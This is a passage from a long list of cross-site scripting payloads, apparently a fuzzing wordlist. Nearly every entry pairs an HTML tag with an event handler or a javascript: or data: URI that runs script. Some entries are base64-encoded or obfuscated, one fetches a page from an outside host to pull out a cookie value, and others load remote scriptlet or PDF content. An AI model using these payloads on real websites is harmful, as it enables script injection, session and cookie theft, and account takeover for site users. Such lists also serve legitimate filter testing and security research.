ondrag="alert(1)">test</noscript> <noscript draggable="true" ondragend="alert(1)">test</noscript> <noscript draggable="true" ondragenter="alert(1)">test</noscript> <noscript draggable="true" ondragleave="alert(1)">test</noscript> <noscript draggable="true" ondragstart="alert(1)">test</noscript> <noscript id=x tabindex=1 onactivate=alert(1)></noscript> <noscript id=x tabindex=1 onbeforeactivate=alert(1)></noscript> <noscript id=x tabindex=1 onbeforedeactivate=alert(1)></noscript><input autofocus> <noscript id=x tabindex=1 ondeactivate=alert(1)></noscript><input id=y autofocus> <noscript id=x tabindex=1 onfocus=alert(1)></noscript> <noscript id=x tabindex=1 onfocusin=alert(1)></noscript> <noscript onbeforecopy="alert(1)" contenteditable>test</noscript> <noscript onbeforecut="alert(1)" contenteditable>test</noscript> <noscript onbeforepaste="alert(1)" contenteditable>test</noscript> <noscript onblur=alert(1) tabindex=1 id=x></noscript><input autofocus> <noscript onclick="alert(1)">test</noscript> <noscript oncontextmenu="alert(1)">test</noscript> <noscript oncopy="alert(1)" contenteditable>test</noscript> <noscript oncut="alert(1)" contenteditable>test</noscript> <noscript ondblclick="alert(1)">test</noscript> <noscript onfocusout=alert(1) tabindex=1 id=x></noscript><input autofocus> <noscript onkeydown="alert(1)" contenteditable>test</noscript> <noscript onkeypress="alert(1)" contenteditable>test</noscript> <noscript onkeyup="alert(1)" contenteditable>test</noscript> <noscript onmousedown="alert(1)">test</noscript> <noscript onmouseenter="alert(1)">test</noscript> <noscript onmouseleave="alert(1)">test</noscript> <noscript onmousemove="alert(1)">test</noscript> <noscript onmouseout="alert(1)">test</noscript> <noscript onmouseover="alert(1)">test</noscript> <noscript onmouseup="alert(1)">test</noscript> <noscript onpaste="alert(1)" contenteditable>test</noscript> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>//["'`-->]]>]</div> <object classid="clsid:..." codebase="javascript:document.vulnerable=true;"> <object data="data:text/html;base64,%(base64)s"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">? <object data="javascript:alert(XSS)"> <object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22> <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object> <object data=/ onload=alert(1)> <object data=/ onreadystatechange=alert(1)> <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object> <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>? <object data=javascript:\u0061le%72t(1)> <object data=javascript:alert(1)> <object data=javascript:window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))> <object draggable="true" ondrag="alert(1)">test</object> <object draggable="true" ondragend="alert(1)">test</object> <object draggable="true" ondragenter="alert(1)">test</object> <object draggable="true" ondragleave="alert(1)">test</object> <object draggable="true" ondragstart="alert(1)">test</object> <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object> <object id=x onfocus=alert(1) type=text/html> <object id=x onfocusin=alert(1) type=text/html> <object id=x tabindex=1 onactivate=alert(1)></object> <object id=x tabindex=1 onbeforeactivate=alert(1)></object> <object id=x tabindex=1 onbeforedeactivate=alert(1)></object><input autofocus> <object id=x tabindex=1 ondeactivate=alert(1)></object><input id=y autofocus> <object onError object onError="javascript:javascript:alert(1)"></object onError> <object onbeforecopy="alert(1)" contenteditable>test</object> <object onbeforecut="alert(1)" contenteditable>test</object> <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload> <object onbeforepaste="alert(1)" contenteditable>test</object> <object onblur=alert(1) tabindex=1 id=x></object><input autofocus> <object onclick="alert(1)">test</object> <object oncontextmenu="alert(1)">test</object> <object oncopy="alert(1)" contenteditable>test</object> <object oncut="alert(1)" contenteditable>test</object> <object ondblclick="alert(1)">test</object> <object onerror=alert(1)> <object onerror=alert(1) data=1 type=image/gif> <object onerror=javascript:javascript:alert(1)> <object onfocusout=alert(1) tabindex=1 id=x></object><input autofocus> <object onkeydown="alert(1)" contenteditable>test</object> <object onkeypress="alert(1)" contenteditable>test</object> <object onkeyup="alert(1)" contenteditable>test</object> <object onmousedown="alert(1)">test</object> <object onmouseenter="alert(1)">test</object> <object onmouseleave="alert(1)">test</object> <object onmousemove="alert(1)">test</object> <object onmouseout="alert(1)">test</object> <object onmouseover="alert(1)">test</object> <object onmouseup="alert(1)">test</object> <object onpaste="alert(1)" contenteditable>test</object> <object src=1 href=1 onerror="javascript:alert(1)"></object> <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> <ol draggable="true" ondrag="alert(1)">test</ol> <ol draggable="true" ondragend="alert(1)">test</ol> <ol draggable="true" ondragenter="alert(1)">test</ol> <ol draggable="true" ondragleave="alert(1)">test</ol> <ol draggable="true" ondragstart="alert(1)">test</ol> <ol id=x tabindex=1 onactivate=alert(1)></ol> <ol id=x tabindex=1 onbeforeactivate=alert(1)></ol> <ol id=x tabindex=1 onbeforedeactivate=alert(1)></ol><input autofocus> <ol id=x tabindex=1 ondeactivate=alert(1)></ol><input id=y autofocus> <ol id=x tabindex=1 onfocus=alert(1)></ol> <ol id=x tabindex=1 onfocusin=alert(1)></ol> <ol onbeforecopy="alert(1)" contenteditable>test</ol> <ol onbeforecut="alert(1)" contenteditable>test</ol> <ol onbeforepaste="alert(1)" contenteditable>test</ol> <ol onblur=alert(1) tabindex=1 id=x></ol><input autofocus> <ol onclick="alert(1)">test</ol> <ol oncontextmenu="alert(1)">test</ol> <ol oncopy="alert(1)" contenteditable>test</ol> <ol oncut="alert(1)" contenteditable>test</ol> <ol ondblclick="alert(1)">test</ol> <ol onfocusout=alert(1) tabindex=1 id=x></ol><input autofocus> <ol onkeydown="alert(1)" contenteditable>test</ol> <ol onkeypress="alert(1)" contenteditable>test</ol> <ol onkeyup="alert(1)" contenteditable>test</ol> <ol onmousedown="alert(1)">test</ol> <ol onmouseenter="alert(1)">test</ol> <ol onmouseleave="alert(1)">test</ol> <ol onmousemove="alert(1)">test</ol> <ol onmouseout="alert(1)">test</ol> <ol onmouseover="alert(1)">test</ol> <ol onmouseup="alert(1)">test</ol> <ol onpaste="alert(1)" contenteditable>test</ol> <optgroup draggable="true" ondrag="alert(1)">test</optgroup> <optgroup draggable="true" ondragend="alert(1)">test</optgroup> <optgroup draggable="true" ondragenter="alert(1)">test</optgroup> <optgroup draggable="true" ondragleave="alert(1)">test</optgroup> <optgroup draggable="true" ondragstart="alert(1)">test</optgroup> <optgroup id=x tabindex=1 onactivate=alert(1)></optgroup> <optgroup id=x tabindex=1 onbeforeactivate=alert(1)></optgroup> <optgroup id=x tabindex=1 onbeforedeactivate=alert(1)></optgroup><input autofocus> <optgroup id=x tabindex=1 ondeactivate=alert(1)></optgroup><input id=y autofocus> <optgroup id=x tabindex=1 onfocus=alert(1)></optgroup> <optgroup id=x tabindex=1 onfocusin=alert(1)></optgroup> <optgroup onbeforecopy="alert(1)" contenteditable>test</optgroup> <optgroup onbeforecut="alert(1)" contenteditable>test</optgroup> <optgroup onbeforepaste="alert(1)" contenteditable>test</optgroup> <optgroup onblur=alert(1) tabindex=1 id=x></optgroup><input autofocus> <optgroup onclick="alert(1)">test</optgroup> <optgroup oncontextmenu="alert(1)">test</optgroup> <optgroup oncopy="alert(1)" contenteditable>test</optgroup> <optgroup oncut="alert(1)" contenteditable>test</optgroup> <optgroup ondblclick="alert(1)">test</optgroup> <optgroup onfocusout=alert(1) tabindex=1 id=x></optgroup><input autofocus> <optgroup onkeydown="alert(1)" contenteditable>test</optgroup> <optgroup onkeypress="alert(1)" contenteditable>test</optgroup> <optgroup onkeyup="alert(1)" contenteditable>test</optgroup> <optgroup onmousedown="alert(1)">test</optgroup> <optgroup onmouseenter="alert(1)">test</optgroup> <optgroup onmouseleave="alert(1)">test</optgroup> <optgroup onmousemove="alert(1)">test</optgroup> <optgroup onmouseout="alert(1)">test</optgroup> <optgroup onmouseover="alert(1)">test</optgroup> <optgroup onmouseup="alert(1)">test</optgroup> <optgroup onpaste="alert(1)" contenteditable>test</optgroup> <option draggable="true" ondrag="alert(1)">test</option> <option draggable="true" ondragend="alert(1)">test</option> <option draggable="true" ondragenter="alert(1)">test</option> <option draggable="true" ondragleave="alert(1)">test</option> <option draggable="true" ondragstart="alert(1)">test</option> <option id=x tabindex=1 onactivate=alert(1)></option> <option id=x tabindex=1 onbeforeactivate=alert(1)></option> <option id=x tabindex=1 onbeforedeactivate=alert(1)></option><input autofocus> <option id=x tabindex=1 ondeactivate=alert(1)></option><input id=y autofocus> <option id=x tabindex=1 onfocus=alert(1)></option> <option id=x tabindex=1 onfocusin=alert(1)></option> <option onbeforecopy="alert(1)" contenteditable>test</option> <option onbeforecut="alert(1)" contenteditable>test</option> <option onbeforepaste="alert(1)" contenteditable>test</option> <option onblur=alert(1) tabindex=1 id=x></option><input autofocus> <option onclick="alert(1)">test</option> <option oncontextmenu="alert(1)">test</option> <option oncopy="alert(1)" contenteditable>test</option> <option oncut="alert(1)" contenteditable>test</option> <option ondblclick="alert(1)">test</option> <option onfocusout=alert(1) tabindex=1 id=x></option><input autofocus> <option onkeydown="alert(1)" contenteditable>test</option> <option onkeypress="alert(1)" contenteditable>test</option> <option onkeyup="alert(1)" contenteditable>test</option> <option onmousedown="alert(1)">test</option> <option onmouseenter="alert(1)">test</option> <option onmouseleave="alert(1)">test</option> <option onmousemove="alert(1)">test</option> <option onmouseout="alert(1)">test</option> <option onmouseover="alert(1)">test</option> <option onmouseup="alert(1)">test</option> <option onpaste="alert(1)" contenteditable>test</option> <output draggable="true" ondrag="alert(1)">test</output> <output draggable="true" ondragend="alert(1)">test</output> <output draggable="true" ondragenter="alert(1)">test</output> <output draggable="true" ondragleave="alert(1)">test</output> <output draggable="true" ondragstart="alert(1)">test</output> <output id=x tabindex=1 onactivate=alert(1)></output> <output id=x tabindex=1 onbeforeactivate=alert(1)></output> <output id=x tabindex=1 onbeforedeactivate=alert(1)></output><input autofocus> <output id=x tabindex=1 ondeactivate=alert(1)></output><input id=y autofocus> <output id=x tabindex=1 onfocus=alert(1)></output> <output id=x tabindex=1 onfocusin=alert(1)></output> <output onbeforecopy="alert(1)" contenteditable>test</output> <output onbeforecut="alert(1)" contenteditable>test</output> <output onbeforepaste="alert(1)" contenteditable>test</output> <output onblur=alert(1) tabindex=1 id=x></output><input autofocus> <output onclick="alert(1)">test</output> <output oncontextmenu="alert(1)">test</output> <output oncopy="alert(1)" contenteditable>test</output> <output oncut="alert(1)" contenteditable>test</output> <output ondblclick="alert(1)">test</output> <output onfocusout=alert(1) tabindex=1 id=x></output><input autofocus> <output onkeydown="alert(1)" contenteditable>test</output> <output onkeypress="alert(1)" contenteditable>test</output> <output onkeyup="alert(1)" contenteditable>test</output> <output onmousedown="alert(1)">test</output> <output onmouseenter="alert(1)">test</output> <output onmouseleave="alert(1)">test</output> <output onmousemove="alert(1)">test</output> <output onmouseout="alert(1)">test</output> <output onmouseover="alert(1)">test</output> <output onmouseup="alert(1)">test</output> <output onpaste="alert(1)" contenteditable>test</output> <param draggable="true" ondrag="alert(1)">test</param> <param draggable="true" ondragend="alert(1)">test</param> <param draggable="true" ondragenter="alert(1)">test</param> <param draggable="true" ondragleave="alert(1)">test</param> <param draggable="true" ondragstart="alert(1)">test</param> <param id=x tabindex=1 onactivate=alert(1)></param> <param id=x tabindex=1 onbeforeactivate=alert(1)></param> <param id=x tabindex=1 onbeforedeactivate=alert(1)></param><input autofocus> <param id=x tabindex=1 ondeactivate=alert(1)></param><input id=y autofocus> <param id=x tabindex=1 onfocus=alert(1)></param> <param id=x tabindex=1 onfocusin=alert(1)></param> <param onbeforecopy="alert(1)" contenteditable>test</param> <param onbeforecut="alert(1)" contenteditable>test</param> <param onbeforepaste="alert(1)" contenteditable>test</param> <param onblur=alert(1) tabindex=1 id=x></param><input autofocus> <param onclick="alert(1)">test</param> <param oncontextmenu="alert(1)">test</param> <param oncopy="alert(1)" contenteditable>test</param> <param oncut="alert(1)" contenteditable>test</param> <param ondblclick="alert(1)">test</param> <param onfocusout=alert(1) tabindex=1 id=x></param><input autofocus> <param onkeydown="alert(1)" contenteditable>test</param> <param onkeypress="alert(1)" contenteditable>test</param> <param onkeyup="alert(1)" contenteditable>test</param> <param onmousedown="alert(1)">test</param> <param onmouseenter="alert(1)">test</param> <param onmouseleave="alert(1)">test</param> <param onmousemove="alert(1)">test</param> <param onmouseout="alert(1)">test</param> <param onmouseover="alert(1)">test</param> <param onmouseup="alert(1)">test</param> <param onpaste="alert(1)" contenteditable>test</param> <path d="M0,0" style="marker-start:url(test4.svg#a)"/> <p draggable="true" ondrag="alert(1)">test</p> <p draggable="true" ondragend="alert(1)">test</p> <p draggable="true" ondragenter="alert(1)">test</p> <p draggable="true" ondragleave="alert(1)">test</p> <p draggable="true" ondragstart="alert(1)">test</p> <picture><source srcset="validimage.png"><image onload=alert(1)></picture> <picture><source srcset="validimage.png"><image onloadend=alert(1)></picture> <picture><source srcset="validimage.png"><image onloadstart=alert(1)></picture> <picture><source srcset="validimage.png"><img onload=alert(1)></picture> <picture><source srcset="validimage.png"><img onloadend=alert(1)></picture> <picture><source srcset="validimage.png"><img onloadstart=alert(1)></picture> <picture draggable="true" ondrag="alert(1)">test</picture> <picture draggable="true" ondragend="alert(1)">test</picture> <picture draggable="true" ondragenter="alert(1)">test</picture> <picture draggable="true" ondragleave="alert(1)">test</picture> <picture draggable="true" ondragstart="alert(1)">test</picture> <picture id=x tabindex=1 onactivate=alert(1)></picture> <picture id=x tabindex=1 onbeforeactivate=alert(1)></picture> <picture id=x tabindex=1 onbeforedeactivate=alert(1)></picture><input autofocus> <picture id=x tabindex=1 ondeactivate=alert(1)></picture><input id=y autofocus> <picture id=x tabindex=1 onfocus=alert(1)></picture> <picture id=x tabindex=1 onfocusin=alert(1)></picture> <picture onbeforecopy="alert(1)" contenteditable>test</picture> <picture onbeforecut="alert(1)" contenteditable>test</picture> <picture onbeforepaste="alert(1)" contenteditable>test</picture> <picture onblur=alert(1) tabindex=1 id=x></picture><input autofocus> <picture onclick="alert(1)">test</picture> <picture oncontextmenu="alert(1)">test</picture> <picture oncopy="alert(1)" contenteditable>test</picture> <picture oncut="alert(1)" contenteditable>test</picture> <picture ondblclick="alert(1)">test</picture> <picture onfocusout=alert(1) tabindex=1 id=x></picture><input autofocus> <picture onkeydown="alert(1)" contenteditable>test</picture> <picture onkeypress="alert(1)" contenteditable>test</picture> <picture onkeyup="alert(1)" contenteditable>test</picture> <picture onmousedown="alert(1)">test</picture> <picture onmouseenter="alert(1)">test</picture> <picture onmouseleave="alert(1)">test</picture> <picture onmousemove="alert(1)">test</picture> <picture onmouseout="alert(1)">test</picture> <picture onmouseover="alert(1)">test</picture> <picture onmouseup="alert(1)">test</picture> <picture onpaste="alert(1)" contenteditable>test</picture> <p id=x tabindex=1 onactivate=alert(1)></p> <p id=x tabindex=1 onbeforeactivate=alert(1)></p> <p id=x tabindex=1 onbeforedeactivate=alert(1)></p><input autofocus> <p id=x tabindex=1 ondeactivate=alert(1)></p><input id=y autofocus> <p id=x tabindex=1 onfocus=alert(1)></p> <p id=x tabindex=1 onfocusin=alert(1)></p> <plaintext draggable="true" ondrag="alert(1)">test</plaintext> <plaintext draggable="true" ondragend="alert(1)">test</plaintext> <plaintext draggable="true" ondragenter="alert(1)">test</plaintext> <plaintext draggable="true" ondragleave="alert(1)">test</plaintext> <plaintext draggable="true" ondragstart="alert(1)">test</plaintext> <plaintext id=x tabindex=1 onactivate=alert(1)></plaintext> <plaintext id=x tabindex=1 onbeforeactivate=alert(1)></plaintext> <plaintext id=x tabindex=1 onbeforedeactivate=alert(1)></plaintext><input autofocus> <plaintext id=x tabindex=1 ondeactivate=alert(1)></plaintext><input id=y autofocus> <plaintext id=x tabindex=1 onfocus=alert(1)></plaintext> <plaintext id=x tabindex=1 onfocusin=alert(1)></plaintext> <plaintext onbeforecopy="alert(1)" contenteditable>test</plaintext> <plaintext onbeforecut="alert(1)" contenteditable>test</plaintext> <plaintext onbeforepaste="alert(1)" contenteditable>test</plaintext> <plaintext onblur=alert(1) tabindex=1 id=x></plaintext><input autofocus> <plaintext onclick="alert(1)">test</plaintext> <plaintext oncontextmenu="alert(1)">test</plaintext> <plaintext oncopy="alert(1)" contenteditable>test</plaintext> <plaintext oncut="alert(1)" contenteditable>test</plaintext> <plaintext ondblclick="alert(1)">test</plaintext> <plaintext onfocusout=alert(1) tabindex=1 id=x></plaintext><input autofocus> <plaintext onkeydown="alert(1)" contenteditable>test</plaintext> <plaintext onkeypress="alert(1)" contenteditable>test</plaintext> <plaintext onkeyup="alert(1)" contenteditable>test</plaintext> <plaintext onmousedown="alert(1)">test</plaintext> <plaintext onmouseenter="alert(1)">test</plaintext> <plaintext onmouseleave="alert(1)">test</plaintext> <plaintext onmousemove="alert(1)">test</plaintext> <plaintext onmouseout="alert(1)">test</plaintext> <plaintext onmouseover="alert(1)">test</plaintext> <plaintext onmouseup="alert(1)">test</plaintext> <plaintext onpaste="alert(1)" contenteditable>test</plaintext> <p onbeforecopy="alert(1)" contenteditable>test</p> <p onbeforecut="alert(1)" contenteditable>test</p> <p onbeforepaste="alert(1)" contenteditable>test</p> <p onbeforescriptexecute="alert(1)"><svg><script>\</p> <p onblur=alert(1) tabindex=1 id=x></p><input autofocus> <p onclick="alert(1)">test</p> <p oncontextmenu="alert(1)">test</p> <p oncopy="alert(1)" contenteditable>test</p> <p oncut="alert(1)" contenteditable>test</p> <p ondblclick="alert(1)">test</p> <p onfocusout=alert(1) tabindex=1 id=x></p><input autofocus> <p onkeydown="alert(1)" contenteditable>test</p> <p onkeypress="alert(1)" contenteditable>test</p> <p onkeyup="alert(1)" contenteditable>test</p> <p onmousedown="alert(1)">test</p> <p onmouseenter="alert(1)">test</p> <p onmouseleave="alert(1)">test</p> <p onmousemove="alert(1)">test</p> <p onmouseout="alert(1)">test</p> <p onmouseover="alert(1)">test</p> <p onmouseup="alert(1)">test</p> <p onpaste="alert(1)" contenteditable>test</p> <pre draggable="true" ondrag="alert(1)">test</pre> <pre draggable="true" ondragend="alert(1)">test</pre> <pre draggable="true" ondragenter="alert(1)">test</pre> <pre draggable="true" ondragleave="alert(1)">test</pre> <pre draggable="true" ondragstart="alert(1)">test</pre> <pre id=x tabindex=1 onactivate=alert(1)></pre> <pre id=x tabindex=1 onbeforeactivate=alert(1)></pre> <pre id=x tabindex=1 onbeforedeactivate=alert(1)></pre><input autofocus> <pre id=x tabindex=1 ondeactivate=alert(1)></pre><input id=y autofocus> <pre id=x tabindex=1 onfocus=alert(1)></pre> <pre id=x tabindex=1 onfocusin=alert(1)></pre> <pre onbeforecopy="alert(1)" contenteditable>test</pre> <pre onbeforecut="alert(1)" contenteditable>test</pre> <pre onbeforepaste="alert(1)" contenteditable>test</pre> <pre onblur=alert(1) tabindex=1 id=x></pre><input autofocus> <pre onclick="alert(1)">test</pre> <pre oncontextmenu="alert(1)">test</pre> <pre oncopy="alert(1)" contenteditable>test</pre> <pre oncut="alert(1)" contenteditable>test</pre> <pre ondblclick="alert(1)">test</pre> <pre onfocusout=alert(1) tabindex=1 id=x></pre><input autofocus> <pre onkeydown="alert(1)" contenteditable>test</pre> <pre onkeypress="alert(1)" contenteditable>test</pre> <pre onkeyup="alert(1)" contenteditable>test</pre> <pre onmousedown="alert(1)">test</pre> <pre onmouseenter="alert(1)">test</pre> <pre onmouseleave="alert(1)">test</pre> <pre onmousemove="alert(1)">test</pre> <pre onmouseout="alert(1)">test</pre> <pre onmouseover="alert(1)">test</pre> <pre onmouseup="alert(1)">test</pre> <pre onpaste="alert(1)" contenteditable>test</pre> <progress draggable="true" ondrag="alert(1)">test</progress> <progress draggable="true" ondragend="alert(1)">test</progress> <progress draggable="true" ondragenter="alert(1)">test</progress> <progress draggable="true" ondragleave="alert(1)">test</progress> <progress draggable="true" ondragstart="alert(1)">test</progress> <progress id=x tabindex=1 onactivate=alert(1)></progress> <progress id=x tabindex=1 onbeforeactivate=alert(1)></progress> <progress id=x tabindex=1 onbeforedeactivate=alert(1)></progress><input autofocus> <progress id=x tabindex=1 ondeactivate=alert(1)></progress><input id=y autofocus> <progress id=x tabindex=1 onfocus=alert(1)></progress> <progress id=x tabindex=1 onfocusin=alert(1)></progress> <progress onbeforecopy="alert(1)" contenteditable>test</progress> <progress onbeforecut="alert(1)" contenteditable>test</progress> <progress onbeforepaste="alert(1)" contenteditable>test</progress> <progress onblur=alert(1) tabindex=1 id=x></progress><input autofocus> <progress onclick="alert(1)">test</progress> <progress oncontextmenu="alert(1)">test</progress> <progress oncopy="alert(1)" contenteditable>test</progress> <progress oncut="alert(1)" contenteditable>test</progress> <progress ondblclick="alert(1)">test</progress> <progress onfocusout=alert(1) tabindex=1 id=x></progress><input autofocus> <progress onkeydown="alert(1)" contenteditable>test</progress> <progress onkeypress="alert(1)" contenteditable>test</progress> <progress onkeyup="alert(1)" contenteditable>test</progress> <progress onmousedown="alert(1)">test</progress> <progress onmouseenter="alert(1)">test</progress> <progress onmouseleave="alert(1)">test</progress> <progress onmousemove="alert(1)">test</progress> <progress onmouseout="alert(1)">test</progress> <progress onmouseover="alert(1)">test</progress> <progress onmouseup="alert(1)">test</progress> <progress onpaste="alert(1)" contenteditable>test</progress> <p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y <q draggable="true" ondrag="alert(1)">test</q> <q draggable="true" ondragend="alert(1)">test</q> <q draggable="true" ondragenter="alert(1)">test</q> <q draggable="true" ondragleave="alert(1)">test</q> <q draggable="true" ondragstart="alert(1)">test</q> <q id=x tabindex=1 onactivate=alert(1)></q> <q id=x tabindex=1 onbeforeactivate=alert(1)></q> <q id=x tabindex=1 onbeforedeactivate=alert(1)></q><input autofocus> <q id=x tabindex=1 ondeactivate=alert(1)></q><input id=y autofocus> <q id=x tabindex=1 onfocus=alert(1)></q> <q id=x tabindex=1 onfocusin=alert(1)></q> <q onbeforecopy="alert(1)" contenteditable>test</q> <q onbeforecut="alert(1)" contenteditable>test</q> <q onbeforepaste="alert(1)" contenteditable>test</q> <q onblur=alert(1) tabindex=1 id=x></q><input autofocus> <q onclick="alert(1)">test</q> <q oncontextmenu="alert(1)">test</q> <q oncopy="alert(1)" contenteditable>test</q> <q oncut="alert(1)" contenteditable>test</q> <q ondblclick="alert(1)">test</q> <q onfocusout=alert(1) tabindex=1 id=x></q><input autofocus> <q onkeydown="alert(1)" contenteditable>test</q> <q onkeypress="alert(1)" contenteditable>test</q> <q onkeyup="alert(1)" contenteditable>test</q> <q onmousedown="alert(1)">test</q> <q onmouseenter="alert(1)">test</q> <q onmouseleave="alert(1)">test</q> <q onmousemove="alert(1)">test</q> <q onmouseout="alert(1)">test</q> <q onmouseover="alert(1)">test</q> <q onmouseup="alert(1)">test</q> <q onpaste="alert(1)" contenteditable>test</q> <rb draggable="true" ondrag="alert(1)">test</rb> <rb draggable="true" ondragend="alert(1)">test</rb> <rb draggable="true" ondragenter="alert(1)">test</rb> <rb draggable="true" ondragleave="alert(1)">test</rb> <rb draggable="true" ondragstart="alert(1)">test</rb> <rb id=x tabindex=1 onactivate=alert(1)></rb> <rb id=x tabindex=1 onbeforeactivate=alert(1)></rb> <rb id=x tabindex=1 onbeforedeactivate=alert(1)></rb><input autofocus> <rb id=x tabindex=1 ondeactivate=alert(1)></rb><input id=y autofocus> <rb id=x tabindex=1 onfocus=alert(1)></rb> <rb id=x tabindex=1 onfocusin=alert(1)></rb> <rb onbeforecopy="alert(1)" contenteditable>test</rb> <rb onbeforecut="alert(1)" contenteditable>test</rb> <rb onbeforepaste="alert(1)" contenteditable>test</rb> <rb onblur=alert(1) tabindex=1 id=x></rb><input autofocus> <rb onclick="alert(1)">test</rb> <rb oncontextmenu="alert(1)">test</rb> <rb oncopy="alert(1)" contenteditable>test</rb> <rb oncut="alert(1)" contenteditable>test</rb> <rb ondblclick="alert(1)">test</rb> <rb onfocusout=alert(1) tabindex=1 id=x></rb><input autofocus> <rb onkeydown="alert(1)" contenteditable>test</rb> <rb onkeypress="alert(1)" contenteditable>test</rb> <rb onkeyup="alert(1)" contenteditable>test</rb> <rb onmousedown="alert(1)">test</rb> <rb onmouseenter="alert(1)">test</rb> <rb onmouseleave="alert(1)">test</rb> <rb onmousemove="alert(1)">test</rb> <rb onmouseout="alert(1)">test</rb> <rb onmouseover="alert(1)">test</rb> <rb onmouseup="alert(1)">test</rb> <rb onpaste="alert(1)" contenteditable>test</rb> <rect fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/> <root/>//["'`-->]]>]</div> <rp draggable="true" ondrag="alert(1)">test</rp> <rp draggable="true" ondragend="alert(1)">test</rp> <rp draggable="true" ondragenter="alert(1)">test</rp> <rp draggable="true" ondragleave="alert(1)">test</rp> <rp draggable="true" ondragstart="alert(1)">test</rp> <rp id=x tabindex=1 onactivate=alert(1)></rp> <rp id=x tabindex=1 onbeforeactivate=alert(1)></rp> <rp id=x tabindex=1 onbeforedeactivate=alert(1)></rp><input autofocus> <rp id=x tabindex=1 ondeactivate=alert(1)></rp><input id=y autofocus> <rp id=x tabindex=1 onfocus=alert(1)></rp> <rp id=x tabindex=1 onfocusin=alert(1)></rp> <rp onbeforecopy="alert(1)" contenteditable>test</rp> <rp onbeforecut="alert(1)" contenteditable>test</rp> <rp onbeforepaste="alert(1)" contenteditable>test</rp> <rp onblur=alert(1) tabindex=1 id=x></rp><input autofocus> <rp onclick="alert(1)">test</rp> <rp oncontextmenu="alert(1)">test</rp> <rp oncopy="alert(1)" contenteditable>test</rp> <rp oncut="alert(1)" contenteditable>test</rp> <rp ondblclick="alert(1)">test</rp> <rp onfocusout=alert(1) tabindex=1 id=x></rp><input autofocus> <rp onkeydown="alert(1)" contenteditable>test</rp> <rp onkeypress="alert(1)" contenteditable>test</rp> <rp onkeyup="alert(1)" contenteditable>test</rp> <rp onmousedown="alert(1)">test</rp> <rp onmouseenter="alert(1)">test</rp> <rp onmouseleave="alert(1)">test</rp> <rp onmousemove="alert(1)">test</rp> <rp onmouseout="alert(1)">test</rp> <rp onmouseover="alert(1)">test</rp> <rp onmouseup="alert(1)">test</rp> <rp onpaste="alert(1)" contenteditable>test</rp> <rtc draggable="true" ondrag="alert(1)">test</rtc> <rtc draggable="true" ondragend="alert(1)">test</rtc> <rtc draggable="true" ondragenter="alert(1)">test</rtc> <rtc draggable="true" ondragleave="alert(1)">test</rtc> <rtc draggable="true" ondragstart="alert(1)">test</rtc> <rtc id=x tabindex=1 onactivate=alert(1)></rtc> <rtc id=x tabindex=1 onbeforeactivate=alert(1)></rtc> <rtc id=x tabindex=1 onbeforedeactivate=alert(1)></rtc><input autofocus> <rtc id=x tabindex=1 ondeactivate=alert(1)></rtc><input id=y autofocus> <rtc id=x tabindex=1 onfocus=alert(1)></rtc> <rtc id=x tabindex=1 onfocusin=alert(1)></rtc> <rtc onbeforecopy="alert(1)" contenteditable>test</rtc> <rtc onbeforecut="alert(1)" contenteditable>test</rtc> <rtc onbeforepaste="alert(1)" contenteditable>test</rtc> <rtc onblur=alert(1) tabindex=1 id=x></rtc><input autofocus> <rtc onclick="alert(1)">test</rtc> <rtc oncontextmenu="alert(1)">test</rtc> <rtc oncopy="alert(1)" contenteditable>test</rtc> <rtc oncut="alert(1)" contenteditable>test</rtc> <rtc ondblclick="alert(1)">test</rtc> <rtc onfocusout=alert(1) tabindex=1 id=x></rtc><input autofocus> <rtc onkeydown="alert(1)" contenteditable>test</rtc> <rtc onkeypress="alert(1)" contenteditable>test</rtc> <rtc onkeyup="alert(1)" contenteditable>test</rtc> <rtc onmousedown="alert(1)">test</rtc> <rtc onmouseenter="alert(1)">test</rtc> <rtc onmouseleave="alert(1)">test</rtc> <rtc onmousemove="alert(1)">test</rtc> <rtc onmouseout="alert(1)">test</rtc> <rtc onmouseover="alert(1)">test</rtc> <rtc onmouseup="alert(1)">test</rtc> <rtc onpaste="alert(1)" contenteditable>test</rtc> <rt draggable="true" ondrag="alert(1)">test</rt> <rt draggable="true" ondragend="alert(1)">test</rt> <rt draggable="true" ondragenter="alert(1)">test</rt> <rt draggable="true" ondragleave="alert(1)">test</rt> <rt draggable="true" ondragstart="alert(1)">test</rt> <rt id=x tabindex=1 onactivate=alert(1)></rt> <rt id=x tabindex=1 onbeforeactivate=alert(1)></rt> <rt id=x tabindex=1 onbeforedeactivate=alert(1)></rt><input autofocus> <rt id=x tabindex=1 ondeactivate=alert(1)></rt><input id=y autofocus> <rt id=x tabindex=1 onfocus=alert(1)></rt> <rt id=x tabindex=1 onfocusin=alert(1)></rt> <rt onbeforecopy="alert(1)" contenteditable>test</rt> <rt onbeforecut="alert(1)" 